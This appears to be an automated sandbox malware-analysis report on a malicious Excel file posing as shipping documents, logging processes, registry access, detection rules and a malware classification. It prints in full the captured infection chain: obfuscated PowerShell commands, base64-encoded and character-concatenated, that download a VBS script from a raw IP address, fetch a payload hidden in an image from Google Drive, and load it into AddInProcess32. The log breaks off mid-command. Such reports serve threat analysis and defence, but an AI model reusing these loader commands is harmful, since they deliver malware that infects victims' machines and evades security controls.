Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: 770B0000 page execute and read and write

Source: Shipping Documents WMLREF115900.xls

OLE indicator, VBA macros: true

Source: Shipping Documents WMLREF115900.xls	Stream path 'MBd0002400C/\x1Ole' : https://mpa.li/uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display=fearless&technology=instinctive&feed=abusive&character},yH%OXNutuFj0tNO'>Lpu&q\T^)$Zkt $t8MVK;LZhCEvri6aji6108AansgFkWBPFjf1Co2U4Nc5FJeVT3DzNNmY.0nl#rL]tb
Source: A4230000.0.dr	Stream path 'MBD0002400C/\x1Ole' : https://mpa.li/uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display=fearless&technology=instinctive&feed=abusive&character},yH%OXNutuFj0tNO'>Lpu&q\T^)$Zkt $t8MVK;LZhCEvri6aji6108AansgFkWBPFjf1Co2U4Nc5FJeVT3DzNNmY.0nl#rL]tb

Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2258
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2258
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2258	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2258

Source: Process Memory Space: powershell.exe PID: 4000, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3560, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLS@34/43@9/7

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\A4230000

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: \Sessions\1\BaseNamedObjects\DE4229FCF97F5879F50F8FD3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR820A.tmp

Jump to behavior

Source: Shipping Documents WMLREF115900.xls	OLE indicator, Workbook stream: true
Source: A4230000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............0.o.......o..............................................................3......x.b.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................o.....}..w......o......................1......(.P.....................x.b.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P................o.......o.....}..w.............................1......(.P..............3......................p.4.............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm........................Jk....}..w....p.4.....\.......................(.P.....................h...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................p.4.....}..w............ +q.......Jk......p.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm........................Jk....}..w....p.4.....\.......................(.P.....................h...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................p.4.....}..w............ +q.......Jk......p.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1. +q.......Jk......p.....(.P............................. .......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .D.E.v.I.C.e.c.r.E.d.e.n.t.i.a.L.d.e.P.l.O.Y.M.e.n.t...E.x.E.........................@.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.........................@.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................p.4.....}..w............ +q.......Jk......p.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................p.4.....}..w............ +q.......Jk......p.....(.P.............................l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......p.4.....}..w............ +q.......Jk......p.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............T.r.u.e...o.....}..w.............................1......(.P..............3.......................{5.............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................o.....}..w......o......................1......(.P.....P.......X.......................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............0.o.......o.....P.......................P.......X........................3......................P...............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................o.....}..w......o......................1......(.P.............\.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P................o.......o.....}..w.............................1......(.P..............3......................P...............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.........................l....}..w....P.......\.......................(.P.............\.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................P.......}..w............@.X........l......W.....(.P.............\.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.........................l....}..w....P.......\.......................(.P.............\.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................P.......}..w............@.X........l......W.....(.P.............\.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....x.......N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.@.X........l......W.....(.P.............\.......x....... .......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .D.E.v.I.C.e.c.r.E.d.e.n.t.i.a.L.d.e.P.l.O.Y.M.e.n.t...E.x.E.........\.......x.......@.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.........\.......x.......@.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................P.......}..w............@.X........l......W.....(.P.............\.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...x.......N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................P.......}..w............@.X........l......W.....(.P.............\...............l.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......P.......}..w............@.X........l......W.....(.P.............\.......x...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............T.r.u.e...o.....}..w.............................1......(.P..............3......................`2..............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................o.....}..w......o......................1......(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..#.....................................`2......}..w............8.......8.......@"......(.P.......................#.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm......................M.Jk....}..w....`2......\.......................(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.8.8.1.......Jk......y.....(.P.............................$.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm......................M.Jk....}..w....`2......\.......................(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..#.....................................`2......}..w............@eh.......Jk......y.....(.P.......................#.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..#.....................................`2......}..w............@eh.......Jk......y.....(.P.......................#.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..#.....................................`2......}..w............@eh.......Jk......y.....(.P.......................#.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..#.....................................`2......}..w............@eh.......Jk......y.....(.P.......................#.....X.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......`2......}..w............@eh.......Jk......y.....(.P.....................................................

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Shipping Documents WMLREF115900.xls	Virustotal: Detection: 25%
Source: Shipping Documents WMLREF115900.xls	ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4A69.tmp" "c:\Users\user\AppData\Local\Temp\41k31je4\CSC1CC2DACCE81D4F99A1AD504B85F71256.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8FC2.tmp" "c:\Users\user\AppData\Local\Temp\sblybu2m\CSCFEB4FC09456049919CFF236451FA82A.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 